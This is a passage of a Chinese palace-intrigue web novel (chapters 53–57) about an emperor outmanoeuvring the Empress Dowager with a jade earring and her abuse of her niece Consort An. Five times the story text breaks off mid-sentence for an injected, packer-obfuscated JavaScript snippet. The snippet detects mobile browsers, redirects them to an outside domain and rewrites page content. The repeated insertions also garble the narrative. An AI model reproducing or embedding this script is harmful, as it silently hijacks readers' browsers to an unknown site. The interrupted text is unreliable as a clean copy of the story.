可是在这之前他分明就对这个姜妃没有什么印象的,这人为什么会对娘亲这么好,难道娘亲身上有什么她能图谋的东西? “云瑄!不得无礼!”晋明鸢道。 贺云瑄平日里最听话了,这会儿却没有收回目光,依旧视线逼人的盯着姜妃。 姜妃倒是一点也没有因为贺云瑄的话觉得不适,她反而有些惊讶的道:“哎哟,你小小年纪还有这般警惕呢,了不得,了不得。 这么看来,你也没有完全被那贵妃迷惑了心智嘛。” “自然不会,我在意的只有娘亲,刚才维护她,也只是害怕她位高权重,若是娘亲真把她得罪**,她反过来刁难而已。”贺云瑄一本正经的说,他话像是在姜妃解释,也像是在给晋明鸢解释。 他一共阻拦了晋明鸢两次,第二次阻拦,是因为这个原因,至于第一次… 这人就是想直接拆穿贵妃的虚伪。 果然那贵妃在不知情的情况下,演技实在是炉火纯青,只是今日她演的越好,就越让人能看穿她虚伪做作的姿态。 贺云瑄又说:“你别转移话题,你到底为什么对娘亲这么不一般?我可从来都没有听说过,你之前也与娘亲交好。” 姜妃笑笑:“这些跟你这个小孩没法解释,你干脆单纯当我看不惯贵妃好了,我就乐意与贵妃作对,总之我对你娘亲没恶意。” 贺云瑄眼珠转了转,他问:“所以只要贵妃一直看不惯娘亲,你就一直对娘亲好?” 姜妃点头:“你也可以这么理解吧。” 贺云瑄道:“这么说来你倒是可信的,那我以后就叫你姜姨姨了。” “你这么快就信我了?”这下轮到姜妃错愕了,这小孩一看就不那么好糊弄,这也信的太快了吧。 贺云瑄说:“我信的不是你,是贵妃,虽然不知道为什么,但我能感觉出来,她好像对年轻的恶意很大。 就算她一直唤娘亲姐姐,表面上对娘亲关心,可是行为是骗不了人的,她从来都没有像你这般袒护过娘亲,我觉得她的恶意不会消失,总之你如果喜欢跟贵妃做对的话,护着我娘亲准没错。 反正贵妃最喜欢的就是在我娘亲跟前哭鼻子了。” 话到最后,贺云瑄的声音有些别扭,也有些冷硬。 这五年来,贵妃一直都是这样的,不仅在晋明鸢面前哭,在他面前也哭,总之就是博同情的话一套一套的。 只是之前他没有与娘亲接触过,不知贵妃私下与娘亲说什么,便也无从分辨贵妃话里的真假,竟还真的信了贵妃一心是为娘亲着想,信了贵妃这些年经常接济娘亲。 直到最近,他才发现贵妃是如何的表里不一,如何的虚伪。 贺云瑄几句话倒是说到了姜妃的心坎上,姜妃嘴角很快就溢出了一抹笑,她拍拍贺云瑄的肩膀:“算你小子有眼光,如今我就住在隔壁,她若是再来,我有的是办法让她吃瘪,那咱们就说好了呀,以后我教你拳脚功夫,你唤我姜姨,我可不想被那贵妃比下去。” “一言为定。”贺云瑄道,他亲手到了一盏茶,推到了姜妃面前,话里也带了些许的亲昵,“姜姨姨请喝茶。” 就在贺云瑄和姜妃利落地达成共识的时候,贵妃也终于由满春搀扶着回到了玉粹宫。 疼痛让她的一张脸都变得有些扭曲,一双眼睛也红彤彤的,就像是受尽了委屈的模样。 满春看的实在心疼,扶着她上了软榻:“娘娘您先休息片刻,奴婢这就去为您请太医。” “等等,满春,你有没有觉得今日的事有些古怪?陛下怎么这么简单的就走了? 他今日明明是想罚姜妃的,为什么因为晋姐姐几句话就改变了想法?你说是不是他与晋姐姐已经破镜重圆了?” 话到最后,贵妃明显有些紧张,她的手也攥住了身上的锦被。 满春止住了脚步,眉心微微蹙起:“这…应该不能吧?之前晋娘娘那般背叛陛下,陛下更是对她五年未见,现在就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482398|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算她失忆了,也没听说陛下私下去看过她,就连今日… 陛下就算去了冷宫,也没下龙辇,一看就是厌恶极了她,根本不愿意看到她,奴婢觉得,与其说她与陛下破镜重圆,倒不如说陛下是真的被她气到了才失了理智。 这才便宜了姜妃,让她躲过一劫。” 贵妃轻轻颔首:“你说的也有道理,若是他们重归就好,陛下想来早就将姐姐接触冷宫了,也不至于面都不露。 哎,我还以为姐姐受了这五年难,终于能苦尽甘来了,没想到…” 她叹了一口气,眉宇间尽是忧愁。 满春实在看不下去了:“娘娘,今日那晋娘娘的态度您还没有看到吗? 您对她的好她分明一点也不领情,您又何必因为她的事忧心呢? 虽说如今陛下最看重的就是您,可也架不住您这样一次次的为了晋娘娘惹陛下生气呀。 娘娘,您就听奴婢一句劝,这么多年了,您也该为自己考虑考虑了。” “满春,这种话以后不要再说了,我与姐姐那么多年的感情,如今姐姐深陷囹圄,我又怎么能放得下?姐姐她只是…她如今只是失忆了,不记得我们之前的感情了,这才如此。 都怪我不好,如果我多关注姐姐,也不会让姐姐平白失忆。”贵妃说。 满春叹了一口气,见贵妃满是忧虑的模样,她只能打消了劝诫的意思。 贵妃又说:“这样也不是办法,满春,你再帮本宫想想,还有没有什么别的方法能让那姜妃离开冷宫的? 她那样的人在晋姐姐身边,本宫的心里总是不踏实。” “娘娘!您这又何必呢?您做再多,那晋娘娘还是不领情,她只会给姜妃求情,反倒是您在中间里外不是人,倒不如让她自己吃个亏,就知道谁是真心为她了。”满春说。 贵妃眼里忧愁更甚:“可…” “娘娘,你现在最主要的是养好自己的身子,如此也才有精力去帮晋娘娘呀,你说是吧?”满春又劝。 贵妃这才忧虑不已的点了点头。 第53章 让晋娘娘去陪太后吧 二十板说重不重,说轻也不轻。 待到贵妃身上的伤好了差不多了,时间也过去了一个月。 这一个月里,贺江灈虽说没有踏足过玉粹宫,却让人解了贵妃的禁足,补品更是如流水一样的送进来。 任谁都能看出来,陛下和贵妃之间并没有因为这件事生出什么嫌隙,就连陛下对贵妃的态度也是一如既往的关切,可只有贵妃身边的满春日日殚精竭虑,愁的嘴上都起了燎泡。 等到贵妃终于能下床了,满春就忍不住的催促:“贵妃娘娘,奴婢让小厨房煨些汤,再备些糕点,您提着去趟紫宸殿吧,陛下已经一个月没有来玉粹宫了,奴婢担忧…” “这一个月来,陛下可有去冷宫看过姐姐?”贵妃问。 满春摇头,又是恨铁不成钢:“贵妃娘娘,这都过去这么久了,您怎么还记挂着晋姐姐? 如今陛下这么久不来玉粹宫,大抵就是因为您总为晋娘娘考虑的是与您怄气呢,娘娘您就听奴婢一句劝,今日去了紫宸殿,莫要再提晋娘娘了,莫要再惹陛下不快了。” 满春话说着,已经让人将早就备好的食盒放到了贵妃面前。 贵妃没有说拒绝的话,视线盯着食盒略有犹豫,到最后还是同意了去紫宸殿。 一场秋雨接连下了三日,整座皇宫都被潮气与湿意笼罩。 紫宸殿里,张公公也比满春的情况好不到哪去。 这段时日陛下的心情一直不好,周围伺候的人也各个都是提心吊胆的,只是… 廊下的雨淅淅沥沥的,暗二披着一身寒意回来,路过张公公的时候,他稍稍侧了侧目:“陛下今日心情也不好?” 张公公重重的叹了口气:“可不是嘛,自从那日在冷宫回来就…” 和张公公的忧愁不同,暗二听到这样的答复,反而低低笑了一声,直接越过他进了殿,徒留张公公一脸茫然。 墨香味夹杂着茶香味在殿中氤氲,暗二一进门就是一句调侃:“陛下,属下知道您忙着和晋娘娘怄气,只是您多少也得考虑考虑属下的感受吧? 当时您强行塞给属下一个徒儿,这如今您这么一走,那姜妃可是完全代替了属下的位置,霸占了属下的徒儿,您看这…” 话到这里,他已是重重的叹了口气,一副痛心疾首的模样。 贺江灈这才从堆成山的奏章里抬起头来:“你去冷宫了?” “路过路过,属下这出任务回来就马不停蹄的赶来见陛下了,只是从冷宫路过恰好看到那姜妃正教我徒儿打拳,怕是再过几天呀,那小子说不准就把我这师傅忘了。”暗二话说着,又是一声叹息。 贺江灈蹙眉,并不理会他的自言自语。 暗二又说:“陛下,您就当成全成全属下?这徒儿既然是您塞给属下的,若是不明不白的让人抢走,属下心里总归是有根刺的。” “少贫,你武功高强,这宫里谁拦得住你,你若想去,怎么都能去。”贺江灈略有不耐的回应了一句,又把头埋在了奏章里,明显就是不愿意理会暗二。 偏暗二不依不饶,干脆更加直接的上前两步,凑到了案前:“陛下可莫要折煞属下了,若是只有那小子在,属下自然怎么都行,那不是还有晋娘娘吗? 属下哪敢不经您允许自己去冷宫的?还请陛下抽空带属下去见见属下的徒儿吧。” 张公公进来时,正好就听见暗二这句话,他心里忍不住一阵唏嘘,这台阶递的,几乎要糊到陛下脸上去了,便是不知陛下要不要顺势下来了。 想了又想,张公公犹豫着退到了一边,打算晚会儿再禀报自己的事。 但贺江灈已然注意到了他:“你又有何事?” “回陛下,是太后跟前的王嬷嬷过来了,还有贵妃也来了,说是给您送些吃食。”听着他岔开话题,张公公大抵就知道暗二的台阶算是没递成。 他与暗二短暂的对视一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482399|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才道出了自己的来意。 “让他们都进来吧。”贺江灈冷眼扫了暗二一眼,直接吩咐了下去,暗二皱了皱眉,身影很是巧妙地与殿里的阴影融作一处,在殿中消失。 贵妃和王嬷嬷相继进来,两个人中间隔着一大段距离,明显能让人看出来,她们很是不对付。 相继行过礼之后,是贵妃先把自己带来的东西摆到了贺江灈面前:“陛下公务繁忙,也要记得注意身子。” 话音落下,根本不用贺江灈说什么,她就自己很是识趣的立到了一旁,进退得当的模样,很是有分寸。 贺江灈侧目看了一眼,很快就将目光转向了王嬷嬷:“母后这是又有什么事?” 王嬷嬷道:“陛下,马上就要中秋了,太后娘娘猜奴婢过来问问您今年中秋家宴怎么办?” “这些素来都是母后与贵妃共同操持的,今年自是一样,母后难道还有别的安排?”贺江灈反问,他捏着朱笔的手略微停顿,眼睛里已是一片冷芒浮现。 王嬷嬷陪着笑脸道:“倒也算不得什么安排,是太后娘娘,上次见了晋娘娘一面,心生怜惜,如今阴雨绵绵,天又渐冷,那冷宫里实在不是住人的地方。 所以太后娘娘便想做主,趁着这次中秋好日子,让晋娘娘从冷宫里迁出来,不知陛下意下如何?” “迁出来,迁到哪里去?”贺江灈问。 王嬷嬷沉默一瞬,才又堆着笑脸道:“陛下,太后娘娘知道您对晋娘娘有意见,她已经为您考虑好了,福寿宫如今只太后娘娘一人也是冷清,正好可以让晋娘娘迁过去与太后作伴,如此便也不会碍了您的眼。” “那可真是辛苦母后为朕考虑了。”贺江灈说,他声音意味不明,手指稍一用力,手中的朱笔断做两节,他看着底下王嬷嬷一片惶恐不安的神色,冷声道,“只是朕想不明白母后何时有这般慈悲心肠了?晋氏在冷宫已有五年,之前怎也不见母后提过这些?” 第54章 母后这是要拉拢朝臣? “这…”王嬷嬷嘴唇嗫嚅,“那不是之前陛下与晋娘娘实在闹的不太好,太后就算是有心,终究得先顾及陛下的意思。 如今晋娘娘已经失忆,前尘往事尽数忘了,太后便觉得…” 小心翼翼的打量了一眼贺江灈阴沉的神色,王嬷嬷没敢再说下去,她直接改口道,“还请陛下考虑考虑太后的提议,毕竟晋老将军战功赫赫,一生为国,鞠躬尽瘁,晋娘娘就算之前有错,在冷宫五年也不少了,况且让她去了福寿宫,依旧不会碍到您的眼。” “不行,陛下!姐姐不能去福寿宫。”贵妃赶在贺江灈前头开口道,她声音无比的急切,一下子就惊的王嬷嬷一张脸沉了下来。 王嬷嬷说:“贵妃娘娘,这是什么意思?你是看不上太后的一番好意吗?” 贵妃摇头:“与太后娘娘无关,陛下,臣妾只是觉得如今姐姐失忆在礼仪上多有欠缺,恐会得罪了太后娘娘,所以才…” “这就不劳贵妃关心了,太后娘娘竟然主动提议让晋娘娘住福寿宫,自然是不在意这些的。”王嬷嬷说。 贵妃又道:“可太后娘娘毕竟年事已高,需要清静,哪能这般让人叨扰?陛下,如果真的要把晋姐姐接出来的话,不如就让晋姐姐住臣妾那里吧,臣妾…” “娘娘!”眼见着贵妃主动请缨,满春急急地叫了她一声,手也拽了拽贵妃的袖子。 让那女人住进玉粹宫,开什么玩笑?如今那女人可是人嫌狗厌的状态,更是引得陛下连到了冷宫门口都不愿意下轿。 这若是真的让她住进玉粹宫,岂不是意味着陛下至此也不会踏足玉粹宫了? 满春实在想不明白自家娘娘为什么如此的善良,就算是要对人好,那也该有个度才对,但不能因为别人而影响了自身利益。 “贵妃这是明面上要与太后娘娘作对?”王嬷嬷不耐烦的质问。 眼下这事陛下还一直没有发话呢,这贵妃在这里一次次的阻挠什么? “臣妾没有,臣妾只是…” “够了,朕可有答应要让她迁出冷宫?爱妃和王嬷嬷在这里争的什么?”眼看着两人马上就要吵起来,贺江灈这才不紧不慢的打断了她们。 他这一开口,铺天盖地的威压就让两人齐齐打了个激灵,王嬷嬷硬着头皮道:“陛下,太后娘娘也是一片好心,晋老将军一家常年驻守边疆,一直把晋娘娘丢在冷宫也不是办法,这…” “这些话是母后教你说的,还是你自己想说的?”贺江灈问。 王嬷嬷呼吸滞了滞:“太后娘娘未曾教过奴婢,是奴婢自己这般想的。” “好你个刁奴,自己狗胆包天,妄议朝政,竟然还闹到朕面前来,若非今日,朕没有多问这一句,此事传出去了,旁人还以为母后背着朕拉拢朝臣呢,你说你这是不是在离间朕与母后?” 折断的朱笔被贺江灈物尽其用,冲着王嬷嬷砸了过去,明明只是再轻不过的两节断笔,却是硬生生的在王嬷嬷额头上留下了明显的印子。 王嬷嬷颤抖着不断磕头:“陛下息怒,奴婢绝无此意,奴婢也只是一心想完成太后娘娘的交代,一时情急才说错了话,请陛下恕罪。” “想完成母后的交代?王嬷嬷竟然说了这些,那若是朕同意了,岂不是坐实了母后要背着朕拉拢朝臣?朕是为了母后着想,此事绝无可能。 今日的事看在母后的份上,朕放你一马,王嬷嬷赶紧回福寿宫复命吧。”贺江灈说。 王嬷嬷木讷的抬起头来,瞪着一双眼睛如遭雷劈。 她想过贺江灈会拒绝,但完全没有想到对方还能这样把拒绝的理由归咎于为太后好,如此一来,怕是以后太后也没法再提这个要求了。 “还不走吗?还是想要朕请你?”见王嬷嬷犹豫不定,贺江灈又没好气地道了一句,他的手不知是有意还是无意的抬起,不小心撞翻了桌上的奏章,一个微小的东西正好滚落到了王嬷嬷的面前。 王嬷嬷定睛一看,脸色顿时一片惨白。 那并不是别的,正是前段时间太后丢失了的一只耳坠。 在那之前太后正是带着这耳坠去过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482400|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷宫附近。 这东西怎么在陛下这里,莫不是他知道了点什么? 一想到这个,可能王嬷嬷顿觉双腿发软,她不知道哪里来的胆子,趁着贺江灈不注意,以迅雷不及掩耳之势将那耳坠收到了袖子里,然后几乎是连滚带爬的朝着殿外而去。 贺江灈余光一直注视着王嬷嬷,自然也没有错过她将耳坠带走的小动作。 瞳孔深处一片冷意森森,贺江灈嘴角都勾出了个冰冷的弧度,他转而对贵妃道:“东西都送到了,贵妃还不走吗?可是还有别的打算?” “陛下,臣妾想问问您,这一个月你没有去冷宫看过姐姐吗?那日姐姐受了惊吓,臣妾担忧…” “够了出去!”贺江灈直接打断了贵妃的话。 贵妃脸色发白,她还想继续说下去,满春已经又一次拽住了她的袖子,甚至自己用了力道强行将贵妃往外拉。 桂妃半推半就地跟着满春离开,但走时却是一步三回头,犹豫不决的看着贺江灈,明显还想再劝,满春终于忍不住压低声音道:“贵妃娘娘走吧,莫要再惹陛下不悦了。” 有一句话满春没敢直说,因为上次的事,陛下已经一个月没去玉粹宫了,这次本来就有太后跟前的人横插一脚,若是贵妃还执迷不误,只怕陛下冷落她的时间更久。 一直待到贵妃的身影消失不见,贺江灈这才起了身,他道:“来人,刚才王嬷嬷拿了朕的东西,你们几个跟着去福寿宫问问太后,什么时候她身边的人手脚都这么不干净了?” 这… 乍一听到贺江灈的话,在一旁见证了全程的张公公几乎是目瞪口呆,重新回来的暗二以及刚进门的暗一神色更是古怪无比。 那耳坠… 没记错的话,就是太后本人的,陛下这是故意为之,倒打一耙,拿捏太后? 想到这一层,两人几乎是齐齐摇头,啧,果然,陛下还是那个陛下,睚眦必报,锱铢必较,果然他放走王嬷嬷没那么简单。 想来这次,太后又得提心吊胆两日了。 第55章 翡翠耳坠 福寿宫里,太后还不知道紫宸殿发生的事。 此刻她正满脸挑剔的看着跪在地上的安妃,又茶盏不知为何坠在地上,溅出来的茶渍洇湿了安妃的裙摆。 “姑母莫恼,莫要因为侄女气坏了身子。”福寿宫里的下人个个战战兢兢的,只有安妃依旧面色如常,甚至还拿着帕子试图想帮太后擦手上的水渍。 太后猛的甩开了她的手:“哀家不气,你让哀家如何不气?你个不争气的东西,你瞧瞧玉粹宫那个,人家今日刚出来就知道去皇帝跟前晃,你自己呢,你又在做什么? 旁的时候你争不过她也就罢了,这段时日她禁足养伤,你个蠢升天的东西也不知抓住机会去皇帝面前露个面,你说哀家要你有何用?” 安妃一直都是安安静静的,此刻却不知被太后哪句话刺激到,她猛地抬起眼来:“侄女无用姑母难道一开始不知道吗?还是姑母今日第一日认识侄女? 从始至终,入宫一直都是姑母一个人的安排,姑母明知侄女心里有人,却偏要把侄女送来的那日,就该知道今日的结果。” “混账东西!你还敢顶嘴,还敢拿那些说事!你知不知道你现在是皇帝的妃子?除了争宠,你还能做什么?我劝你最好把那姓郑的忘了,否则别怪哀家对他不客气。”太后怒不可遏,抬手一巴掌就冲着安妃甩了过去。 安妃躲也不躲,硬生生的用左脸接下了这一掌。 她说:“怕是要让姑母失望了,侄女这辈子也忘不了他,至于争宠,侄女亦是不会,若是姑母实在需要一个这方面的能人,建议再去安家选一个。 毕竟安家最不缺的就是年轻貌美的姑娘,想来会有人愿意替姑母分忧的。” 太后似也没想到安妃平日里唯唯诺诺,今日竟是这般牙尖嘴利。 她的肩膀都不断的颤抖着,盯着安妃的目光里尽是阴历之色,那神情似是要将安妃整个人都生吞活剥了一般。 安妃依旧跪在她脚边,姿态算得上是恭敬,但神色却带着明显的不服气。 “安秋禾,你是不是忘了那郑家可是在哀家手里,你信不信…” “太后娘娘,不好了,出事了。”太后的话还没说完,王嬷嬷就跌跌撞撞的从外面跑了进来,一张脸煞白无比的正冲着太后扑过来。 太后神色一凛,本就不好看的脸色愈发阴沉:“冒冒失失的做什么?还有没有一点规矩?” “不是,太后娘娘,您看这个。”王嬷嬷来不及解释,直接就将手心里的东西递到了太后面前。 翡翠耳坠在光的折射下散发着苍翠欲滴的微光,熟悉的颜色,太后只看了一眼,瞳孔就一阵猛的收缩:“这…这怎么会在你那里?” “不是在奴婢这里,是在陛下那里这儿,这是奴婢在陛下书房里看到的,奴婢知道此事非比寻常,赶紧拿了过来寻太后。”王嬷嬷说。 “你是说这是在皇帝书房里拿的?怎么会在他那里?莫不是他知道了些什么?”太后这会儿已经顾不上向安妃发火,她攥着手中的耳坠喃喃自语,脸上的惶恐之色几乎掩盖不住。 安妃原本略微低着头,听到太后明显不对劲的声音,她略微抬了抬眼,目光也落在了太后手里的那只耳坠上。 这耳坠到底代表着什么?为什么太后会如此在意? 王嬷嬷脸上的担忧之色一点也不比太后少,她说:“太后娘娘,眼下最重要的是赶紧把这东西毁掉,断不能让陛下抓住把柄才…” 最后一个字还没有落下,只听哐当一声巨响,福寿宫的门被人直接撞开了,苍茫的雨幕里,贺江灈一身明黄色的龙袍格外晃眼,更晃眼的是他背后那一对神色肃穆的御前侍卫。 根本就没有给人反应的机会,贺江灈已经大步进了门,他的脚步席卷着窗外的寒意,王嬷嬷控制不住的咽了咽唾沫。 而太后亦是不自觉的攥紧了手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482401|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那只耳坠,她强作镇定,一拍桌子站了起来:“皇帝,你这是在做什么?你现在这般大摇大摆的闯福寿宫,可还将哀家这个母后放在眼里?” “朕从来没有半分对母后不敬的意思,只是母后身边的人确实该管管了,这等手脚不干净的东西怎能贴身伺候母后?来人,把那个刁奴拉过来搜身。”贺江灈说。 他大摇大摆的在太后身边坐了下来,目光并没有在太后身上有什么停留。 张公公一挥手里的拂尘,立刻就有人将王嬷嬷拖了过来,王嬷嬷颤抖道:“太后娘娘,太后娘娘救救老奴啊。” “等等,皇帝,你这是要做什么?可是王嬷嬷做了什么让你误会的事?她毕竟是哀家身边的人…” “母后稍安勿躁,是不是误会,等搜身之后就知道了,若真的是朕误会了,朕自然会向母后赔礼道歉。”贺江灈道。 太后眉头紧锁,手却又将手心里的那只耳坠攥得更紧了一些,她强做大度的摆了摆手:“罢了,如今哀家是管不了皇帝了,你既然要搜,那就去搜吧,哀家也想知道皇帝到底丢了什么宝贝,才这么兴师动众,跑到哀家的福寿宫来撒野。” “母后很快就知道了。”贺江灈随口应付一句,那边张公公已经带着几名宫女对着王嬷嬷搜完了身,他摇了摇头。 太后见状,立刻就抓住了机会:“皇帝,你看看你,多大的人了,怎么行事还这么冲动,哀家就说王嬷嬷不可能偷东西吧,以后断不能这般行事了,这若是传出去了,实在是有失你的威仪。” 说话间她冲着王嬷嬷使了个眼色,王嬷嬷立刻拍拍袖子站了起来,立在太后身边的时候又是一幅镇定自若的模样。 贺江灈面色不变,视线却略微的下移,目光正落在太后的手上,他有些惊讶道:“母后,您的手怎么流血了?快让朕给母后看看。” 话说着,他直接抬脚上前,伸手就要抓太后的手腕。 第56章 给安妃的 方才精神一直高度紧绷,太后并没有注意到什么。 这会儿经贺江灈一提醒,她才感到手心里传来丝丝缕缕的疼痛,再一低头,果然见有血丝正顺着指缝渗出来。 定是在不知不觉间,那耳坠不知怎么刮破了手心,这才… 太后紧张的将手缩到了袖子里:“什么流血,皇帝看错了吧?” “母后可是在生朕的气?今日的事是朕冲动,是朕做的不够妥帖,朕给母后道歉就是,母后就算怪朕,也莫要拿自己的身子开玩笑呀。 张康全,让人拿金疮药来,朕今日亲自给母后上药。”贺江灈说。 他已经在太后面前站定,不由分说的就抓住了太后的手腕。 太后额角冷汗淋漓,手里的耳坠就像是一枚烫手山芋一样,抛也不是,留也不是,更没有地方可丢。 太后强作镇定:“够了!皇帝,哀家说了无事,皇帝又何必如此呢?” “母后这是在怪朕?朕说了以后会给母后赔罪,但现在母后最重要的还是要处理伤口。”他力气很大,手攥住太后的胳膊时,太后根本挣脱不开。 完全没有给太后一丁点儿反抗的余地,他就已经将太后的手指一根根的掰开,那枚翡翠耳坠正躺在太后的手心里,苍翠欲滴的眼色与鲜红色的血交相辉映,格外的醒目。 “这只耳坠怎么会在母后这里?”像是看到了什么不可置信的事物愣住了,贺江灈语调有些僵硬的问。 “这…哀家…”太后亦是愣住了,那东西暴露的明明白白,再想遮掩已经为时已晚。 她瞳孔转了转,很快就有了主意,故意打哈哈:“这东西,皇帝认识?” 自从发现耳坠丢失一只后,她就已经让人将另一枚也处理干净了,现在就算发现这枚在皇帝手里,那也证明不了这东西本来就是她的,皇帝就算是想要兴师问罪,亦是没有证据的。 想到这里,太后明显有底气了许多,目光甚至敢不避讳地和贺江灈对视了。 贺江灈很容易的就注意到了太后姿态的转变,他心底了然,面上不显,余光甚至还朝着安妃的方向瞥了一眼:“这段时日以来,安妃表现甚好,甚得朕意,这对耳坠本来是朕给安妃准备的,可今日王嬷嬷走后,耳坠就少了一只,朕自然是得来问个清楚的。” 话说着,他的手从怀里一抹,再摊开的时候,手心里已经出现了一枚和太后手中那只一模一样的耳坠。 幽绿色的光正好映在太后的瞳孔里,又是震的太后心神一阵恍惚。 “这…皇帝说这是送给禾儿的?”太后喃喃问。 另一枚耳坠明明被她摧毁了才是,已经砸的渣都不剩了,为什么皇帝手里还有一枚? 这…莫非真是巧合? 贺江灈道:“是呀,朕特地吩咐人打的,这今日才刚送过来,就丢了一只,母后说朕能不着急吗? 对了,您还没有告诉朕呢,这耳坠怎么就出现在您手里了?” “这…”太后眸光闪烁,目光落在了王嬷嬷身上,“是这样的皇帝,这就是个误会,这耳坠不知怎么勾在了王嬷嬷的衣服上,王嬷嬷没有发现,才不小心将这东西带到了福寿宫。 既然这是皇帝的,那就还给皇帝好了。” 伴随着太后话音落下,王嬷嬷也是找到了主心骨,连连点头:“对对对,陛下,这东西是勾在老奴袖子上的,老奴也是吓了一跳,赶忙交给太后娘娘处理。” “原来是这样,那还真是误会一场呢。”贺江灈意味不明的出声,他探手过来接了太后手里的耳坠,顺手就递向了旁边的安妃。 翠绿的幽光映着安妃茫然的神色,让安妃心底莫名有些不安。 这…真是给她的? 陛下没说错? 她近来可从来没有往陛下跟前靠过,怎就能平白得这份赏赐? “接着呀。”安妃久久没有动静,贺江灈提醒一句,安妃这才如梦初醒,试探着的伸手将那耳坠拿在了手里。 贺江灈视线并没有在安妃身上停留,转而看向了太后:“今日王嬷嬷与朕提起中秋宴的事,朕觉得有句话母后说的对,这中秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482402|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本就是阖家团圆的日子,皇弟终年在外,与母后也有许久未见了,想来母后应当也想他了,朕这次决定将皇弟召回京来,母后意下如何?” “你说什么?你要让流儿回京?”太后声音蓦地拔高,那态度里的慌乱比之贺江灈发现耳坠的时候只多不少。 贺江灈道:“皇弟毕竟也是皇家血脉,又是朕现在唯一的兄弟,朕想了想还是该让他回京。 尤其是朕政务繁忙,他回来了也能代朕多陪陪母后,母后这般激动,可是高兴坏了?” “皇帝,你有这份心意,哀家就满足了,只是流儿他毕竟已经封王,住在封地上那才是正常的,总让他待在京中,也不是什么办法,这件事还是算了。”太后说。 贺江灈道:“那又如何,朕自己的安排,难道还会有人不服?” “倒也不是这么回事,皇帝啊,当年先皇忽然薨逝,你们几个兄弟斗的厉害,也只有流儿不慕权势,最后更是自请离京,这么多年过去了,你还是不信任他吗? 他就喜欢闲云野鹤过日子,这京中繁华确实不适合他,皇帝就不要再试探了。”太后说。 她口中说着宽慰的话,但是神色却是越来越冷。 明明流儿才是中宫嫡子,可这皇位却… 这贺江灈忽然提出要流儿回来,他肯定是有所怀疑了。 还有那一对翡翠耳坠,分明就与自己丢失的那对一模一样,他这是故意试探! “朕当真是为母后考虑,不过既然母后不愿,此事便之后再议吧,等母后想通了,可以随时来寻朕,朕还是很乐意皇弟回来的。”贺江灈说。 太后脸色依旧铁青无比,她没有在接贺江灈的话,贺江灈也没在停留,转身就离了福寿宫。 目送着他的背影远去,太后再也抑制不住:“他个混账东西,朕当哀家看不出他那心思吗?哀家只是提了句让冷宫那个来福寿宫,他就要哀家的流儿入京为质,真真是歹毒无比。 若是早知如此,哀家当年就该让流儿与他斗到底,而不是暂避锋芒!” 第57章 姑母不如信侄女一次 “若是当初表弟有一争之力,姑母又何至于让他暂避锋芒,说到底还不是姑母您一早就知他不是陛下的对手,这才…” “安秋禾,你个小贱蹄子,你这话什么意思?一副耳坠就让你站到他那边了?你别忘了,你身上流着的是安家的血,而且郑家那小子也在哀家手里,你若真想背叛哀家,也得掂量掂量这后果你能不能承受得起。” 安妃的话没有说完,就被太后怒不可遏的打断了。 太后似是怒火无处发泄,抬起手来就要朝着安妃脸上甩,是王嬷嬷挡在了安妃身前,她道:“太后娘娘您先息怒,现在最重要的还是…” 话没说完,她冲着安妃的方向使了个眼色,太后也立刻心领神会,甩过来的手改成了在安妃的眼前摊开:“他给你的东西呢?拿来给哀家看看。” 安妃并没有反抗,直接将手里的东西递了上来。 